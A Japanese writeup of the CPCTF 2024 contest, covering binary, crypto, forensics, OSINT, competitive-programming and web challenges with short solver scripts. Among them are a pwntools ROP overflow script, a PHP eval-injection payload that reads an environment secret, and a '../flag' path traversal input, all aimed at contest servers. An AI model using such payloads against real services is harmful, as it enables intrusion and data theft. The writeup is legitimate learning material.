CPCTF 2024 writeup - Yu

4/20～4/21に開催されたCPCTF 2024で優勝したのでwriteupを書く。二日目は応用情報の試験と被ってしまいほとんど触れなかったがなんとか一位を保ててよかった。
競プロもCTFも好きなので完全に私のためのコンテストである。楽しいのでもっとやってほしい。
Binary,Crypto,Forensics,Misc,Pwn,Shellは全完できたが、PPCとWebは一問残ってしまってちょっと残念。最後に解いた The sky's the limit 以外はヒントを開かなかったが、OSINTとかはもっと開いてもよかったかもしれない。
解けた問題は全部書きます。問題が多いので一問あたりは短め。目次から見たいとこだけ読んでください。

Binary
Crypto
Forensics
Misc
OSINT
Pwn
PPC
Shell
- netcat - Newbie [101 solved]
- veeeeeeery long text - Easy [66 solved]
Web

Binary

peeping - Newbie [79 solved]

一問くらいstringsやるだけがあるだろうと思ってstringsをしてみると、本当にフラグが出てくる。

Just reversing? - Easy [60 solved]

with open("just_reversing/flag_enc.txt", "rb") as f:
    b = f.read()
print("".join(reversed([chr(c % 16 * 16 + c // 16) for c in b])))

chall.cと同じことをすると戻る。

Number Guesser - Easy [52 solved]

IDAで読むと条件が書いてある。

bytes([49]) + int.to_bytes(875575095, 4, byteorder="little")

でパスワードがわかる。

Power down - Medium [12 solved]

IDAで読むと、power_down(n)は $\left(\lfloor\sqrt{n}\rfloor^2 - n\right) 2^{32} + \lfloor\sqrt{n}\rfloor$ を返すことがわかる。比較先を探して復元すればOK。

a = ...
flag = ""
for v in a:
    a2 = v & 0xffff
    flag += chr(a2 * a2 - (v >> 32))
print(flag)

black box - Hard [9 solved]

気合でPythonで書き直してz3に投げつけると答えが得られた。

cubeA = ...
cubeB = ...
cmp = ...

from z3 import *
flag = [0] * 27
s = Solver()
xs = []
for i in range(27):
    x = BitVec(f"x_{i}", 32)
    xs.append(x)
    flag[i] = x
    s.add(x < 128)
    s.add(0 < x)
v3 = 0
v4 = 0
v23 = 0
v24 = 0
t = [0] * 27
for v22 in range(3):
    v5 = v24 + v23
    v6 = v4 + 27
    v7 = 0
    v8 = v4
    for i in range(0, 9, 3):
        v10 = v7
        for j in range(3):
            v12 = v3 + j
            v13 = v10
            v14 = v8
            v15 = 0
            for _ in range(3):
                v15 += cubeB[v13] * cubeA[v12] * flag[v14]
                v14 += 9
                v12 += 3
                v13 += 9
            t[v5 + j] = v15
            v10 += 1
        v5 += 3
        v8 += 3
        v6 += 3
        v7 += 3
    v23 += 9
    v3 += 9
    v4 += 1
cmp2 = [bytes_to_long(bytes(reversed(cmp[i:i+4]))) for i in range(0, len(cmp), 4)]
for i in range(0, 27):
    s.add(cmp2[i] == t[i])
r = s.check()
flag = ""
if r == sat:
    proof = s.model()
    for i in range(27):
        px = int(str(proof[xs[i]]))
        flag += chr(px)
print(flag)

Crypto

Substitution - Newbie [90 solved]

quipqiup - cryptoquip and cryptogram solver に投げつける。

RSA Trial - Easy [37 solved]

s = var("s")
print(solve(hint + 3 * n * s - s ** 3, s))

sagemathに投げつけて $s:=p+q$ を求めて、解の公式から $p,q$ を求める。

p = (s - isqrt(s * s - 4 * n)) // 2
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(int(pow(c, d, n))))

AAAA - Medium [5 solved]

phi = (e-1) * pow(check, -1, e) % e + e * 2
d = pow(e, -1, phi)
print(long_to_bytes(pow(ct, d, n)))

切り捨て除算をしているが、 $d * e \bmod \varphi = 1$ なので $\mathrm{check} = (d * e - 1) / \varphi$ である。
$\bmod e$ を考えると $\varphi = -\mathrm{check}^{-1} \bmod e$ であり、 $n \sim e$ であることから何回か $e$ を足せば真の $\varphi$ が得られる。
全く使わなかった秘密鍵はなんだったんだろうと思ったら、これは非想定解だったらしい。

CES - Medium [2 solved]

面白かった。
パット見ではただのAESで二回のクエリじゃ何もできないだろと思ったが、よく睨むと sub_bytesはSBOXを使っておらず、ただの固定値の xor であることが分かる。平文の暗号文に対する寄与が線形なので、別の暗号文とxorして鍵の寄与を打ち消してからdecryptのsub_bytesとadd_round_key以外の部分を適用すると二つの平文のxorが復元できる。

def decrypt_empty(ciphertext):
    state = bytes2matrix(ciphertext)
    for i in range(N_ROUNDS - 1, -1, -1):
        inv_shift_rows(state)
        if i > 0:
            inv_mix_columns(state)
    plaintext = matrix2bytes(state)
    return plaintext

key = get_random_bytes(16)
pt = get_random_bytes(16)

pt2 = get_random_bytes(16)
ct = problem.encrypt(key, pt)
ct2 = problem.encrypt(key, pt2)
assert strxor(pt2, problem.decrypt_empty(strxor(ct, ct2))) == pt

二つ目の平文が何だったかはivと前のブロックからわかるので、ブロックを前からひとつずつ復元できる。

s = remote("ces.web.cpctf.space", 30008)
s.sendlineafter(b"your option: ", b"2")
print(s.recvline())
ct1 = eval(s.recvline()[len("Encrypted flag: "):-1])
iv1 = eval(s.recvline()[len("iv: "):-1])
print(ct1, iv1)
s.sendlineafter(b"your option: ", b"1")
s.sendlineafter(b": ", b"a" * len(ct1))
print(s.recvline())
ct2 = eval(s.recvline()[len("Encrypted message: "):-1])
iv2 = eval(s.recvline()[len("iv: "):-1])
def dec(c1, c2, p2):
    return strxor(p2, problem.decrypt_empty(strxor(c1, c2)))
flag = b""
for i in range(0, len(ct1), 16):
    c1 = ct1[i:i+16]
    c2 = ct2[i:i+16]
    p2 = strxor(b"a" * 16, iv2)
    p1 = strxor(dec(c1, c2, p2), iv1)
    flag += p1
    print(flag)
    iv1 = c1
    iv2 = c2

Forensics

Register - Easy [19 solved]

tshark -r ./register.pcapng -Y 'usb.capdata' -T fields -e usb.capdata > keyboards.txt
をしてcapdataを抜き出してきて、キー情報に変換するスクリプトを書いた。

with open("Register/keyboards.txt", "r") as f:
    for line in f.readlines():
        line = line.rstrip()
        shift = line.startswith("02")
        code = int(line[4:6], 16)
        second = int(line[6:8], 16)
        if code == 0 or second != 0:
            continue
        print(shift, codes[code][-2:])

white has much information - Easy [60 solved]

whitespaceだいすき！適当にインタプリタを出してきて実行するとフラグが出てくる。

which is true flag - Medium [30 solved]

一つだけ時刻が違い、それが正しいフラグになっている。

Misc

turning over - Easy [26 solved]

Blenderのファイルっぽい。Blenderをインストールするのがめんどくさいのでネットの適当なサイトで表示させるとフラグの輪郭が見えた。

Forbidden code 2 - Hard [7 solved]

https://www.reddit.com/user/myaomyaohit/
見つけたRedditを読む。Dont worry. These are perfectly legal.から違法素数あたりの話をしていそうだとあたりをつける。
$p,q$ をlong_to_bytesするとどちらも\x1f\x8b\x08\x08で始まっていて、なんかありそうだと思い検索するとgzipのシグネチャらしい。11*8ビット右シフトしてgzipで解凍するとbrainfuckのコードが出てきた。実行するとフラグが手に入る。

Image encryption - Hard [1 - solved]

ヒントあり含めて 1 solved らしい　そんな

import requests

with open("image_encryption/out.png", "rb") as f:
    res = requests.post("https://imageencryption.calmground-80c6c76f.japaneast.azurecontainerapps.io/upload", files={"image": ("image2.png", f)})
    with open("image_encryption/res.zip", "wb") as g:
        g.write(res.content)

真っ白なファイルを送り付けるとファイルが二個帰ってくる。xorしてほしそうな見た目をしているのでxorしてみるとノイズの入った画像が返ってきた。

up_imgの寄与は(1,1,1)っぽいので適当に除く。それから与えられたコードからencの逆をするとimgが復元できる。パラメータは400通りしかないので全部試して人力でフラグが読めるのを探した。

from PIL import Image
import numpy as np

image_path1 = "image_encryption/flag_image.png"
image_path2 = "image_encryption/uploaded_image.png"
output_path = "image_encryption/xor_result.png"
image1 = Image.open(image_path1)
image2 = Image.open(image_path2)
width, height = image1.size
result_image = Image.new("RGB", (width, height))
for y in range(height):
    for x in range(width):
        pixel1 = image1.getpixel((x, y))
        pixel2 = image2.getpixel((x, y))
        xor_pixel = tuple(p1 ^ p2 for p1, p2 in zip(pixel1, pixel2))
        xor_pixel = tuple(p1 ^ p2 for p1, p2 in zip(xor_pixel, (1, 1, 1)))
        result_image.putpixel((x, y), xor_pixel)
result_image.save(output_path)

def dec(blank, m, height, width):
    blank = np.array(blank)
    img = np.zeros((height, width, 3))
    for h in range(height):
        for w in range(width):
            l=((m@np.array([h+1,w+1]).T).T)
            img[l[0]%height][l[1]%width]=blank[h][w]
    return Image.fromarray(img.astype(np.uint8))
for phi in range(1, 21):
    for ep in range(1, 21):
        m=np.array([[1,ep],[phi,ep*phi+1]])z
        dec(result_image, m, height, width).save(f"image_encryption/out/{phi}_{ep}.png")

OSINT

あんまり手を付ける時間がなかったのもあり5/10しか解けなかった。にしても多すぎませんか？

mokomoko - Newbie [97 solved]

画像検索すると答えが出てきた。

Doctor yellow - Easy [69 solved]

がんばって検索すると多摩川橋梁と出てきた。多摩川には橋がたくさんあって困るが、ビルと野球場が見えるところを探すと見つかった。

leaving - Easy [44 solved]

熱海行きの電車を調べると東海道本線っぽい。適当に東海道本線と新幹線の通っている駅を一つずつ検索していくと、浜松駅にそれっぽい柵があった。10:25に発車する電車もあるので正しそう。しかしこの電車の運行表を見ると13:04に熱海に着いている。逆方向に折り返しているだろうと思い13:04より後に熱海から出発している電車を見ると金谷駅にいて、これが正解。
東海道本線（東海）(熱海行)（浜松 10:25発）の運行表 - ジョルダン
 東海道本線（東海）(豊橋行)（熱海 13:14発）の運行表 - ジョルダン

Forbidden Code 1 - Medium [28 solved]

epieosに投げるとGoogle Calendarが見つかり、ここからフラグの2/3がわかる。*1
他にRedditのアカウントがあり、bioに残りが書いてある。

Great view - Medium [50 solved]

画像検索すると蓮ノ空の聖地巡礼記事がでてきた。公式Twitterを見るとちょっとメンテした後23時半にサービス開始したことがわかる。

Pwn

Attack! Attack! Win! - Newbie [80 solved]

どうせ負数だろうと思いながら-1から順番に投げてみると-2でフラグが出てきた。

CPCT...... - Easy [61 solved]

どうせFSBだと思いながら適当に投げているとフラグが出てきた。

The sky's the limit - Easy [35 solved]

getsはnullバイトまでしか入力を読まないと思っていて詰まった。適当な位置にnullバイトを入れてからwinにROPすればよい。
一つ目のヒントを開いたが意味は特になかった。

from pwn import *

elf = ELF("chall")
s = remote("the_skys_the_limit.web.cpctf.space", 30007)
s.sendlineafter(b":", b"a" * 7 + b"\0" + b"a" * 16 + p64(ROP(elf).find_gadget(["ret"]).address) + p64(elf.functions["win"].address))
print(s.recvall())

PPC

About half - Newbie [92 solved]

a * 2 < b || b * 2 < a ? "No" : "Yes"
#974846 (Java21) No.2736 About half - yukicoder

Compound Word - Newbie [72 solved]

愚直にSetに入れる。
#974889 (Java21) No.2737 Compound Word - yukicoder

CPC To F - Easy [40 solved]

後ろから見てCPCTFかCPCTCPCを探せばよい。
#974884 (Java21) No.2738 CPC To F - yukicoder

Time is money - Easy [25 solved]

$TX+C$ をコストとしてdijkstraする。
#975075 (Java21) No.2739 Time is money - yukicoder

Old Maid

$p^{-1}$ を順にみて、自分と隣が未使用であれば使う　を繰り返せばよい。前後を隣接リストで管理する。
#975013 (Java21) No.2740 Old Maid - yukicoder

Balanced Choice - Easy [32 solved]

タイプごとにナップザックDPをして最後にマージする。
#975029 (Java21) No.2741 Balanced Choice - yukicoder

Car Flow - Medium [21 solved]

十分先では少ないほうの数が連続しなくなる。01を数えればよいので答えは $\mathrm{min}(c_0,c_1)/n$ になる。
#975242 (Java21) No.2742 Car Flow - yukicoder

Twisted Lattice - Medium [8 solved]

x座標が2以上離れていれば $y=1$ まで行くのが最適。x座標の差が1以下の場合を最初に処理し、 $y-x$ と $y+x$ の最小値を持ちながら左右から順に舐めていけば最短距離がわかる。
#975318 (Java21) No.2743 Twisted Lattice - yukicoder

Power! or +1 - Medium [14 solved]

$2n$ 以上は $X \bmod n+n$ と同一視してよく、結局 $2n$ 頂点のdijkstraになる。操作2は $k<30$ までしか見ないことにし、階乗の前計算をすると十分高速に動く。
#975910 (Java21) No.2744 Power! or +1 - yukicoder

String Swap Battle - Medium [12 solved]

$K \gt 1$ と仮定すると、負ける人が 1 を宣言した場合と $10^{100}$ を宣言した場合で答えが変わってしまってヤバいので、 $K=1$ なことがわかる。
それぞれ最適に1回swapして辞書順最小だった人に点をあげるとよい。*2
#975401 (Java21) No.2745 String Swap Battle - yukicoder

Permutation Adjacent Sum - Hard [9 solved]

寄与を考えると答えは $\sum_{d=1}^{N-1} 2(n-1)!(N-d)d^K = 2(n-1)! \left(N\sum_{d=1}^{N-1} d^K - \sum_{d=1}^{N-1} d^{K+1}\right)$ になる。K乗和はラグランジュ補完、階乗は5000000ごとに埋め込みすると十分高速。
#975530 (Java21) No.2747 Permutation Adjacent Sum - yukicoder

Strange Clock - Hard [3 solved]

一致したタイミングの $T3$ の値を全探索する。仮想的に $T12$ みたいなものが存在するとして、 $T3$ の値と $T4$ の値から CRTで $T12$ の値を求めると、このタイマーも1秒ごとに1動くことと、 $T12 - T6 \bmod 6^N$ の値が不変であることがわかる。よって、一致したタイミングの $T3$ の値がありうるものである条件は、 $T12 - T6 \bmod 6^N$ の値が等しいものの中で、 $T12$ の値が前M秒間であるような一致するタイミングであるものが存在しないこと、と言い換えられる。

ただこれは $\Theta(N3^N)$ で、定数倍高速化をがんばってもTLEする。隣接する $T12$ の値の差分を見ると数種類しかなかったので、 $13 \leq N \leq 15$ はそれを埋め込んでAC。
#976422 (C++23(draft)) No.2748 Strange Clock - yukicoder

Shell

netcat - Newbie [101 solved]

nc shell-netcat.web.cpctf.space 30010するとフラグが手に入る。チュートリアル。

veeeeeeery long text - Easy [66 solved]

grepを知っていますか？私は知っています。

Web

Typing game - Newbie [124 solved]

ソースコードに書いてある。

Let's buy some array - Easy [67 solved]

evalしてるのでヤバい。$_ENV['FLAG']をみればよい。

import requests
r = requests.post("https://lets-buy-some-array.web.cpctf.space/purchase.php", data={"quantity1": "$_ENV['FLAG'] . 1", "quantity2": 2, "quantity3": 3})
print(r.content.decode("utf-8"))

Read Novels - Easy [87 solved]

name=../flagでパストラバーサルができる。

*1:最近これを使ったwriteupを読んでいてよかった

*2:得点が $N+1-K$ と勘違いしてclarを投げてしまった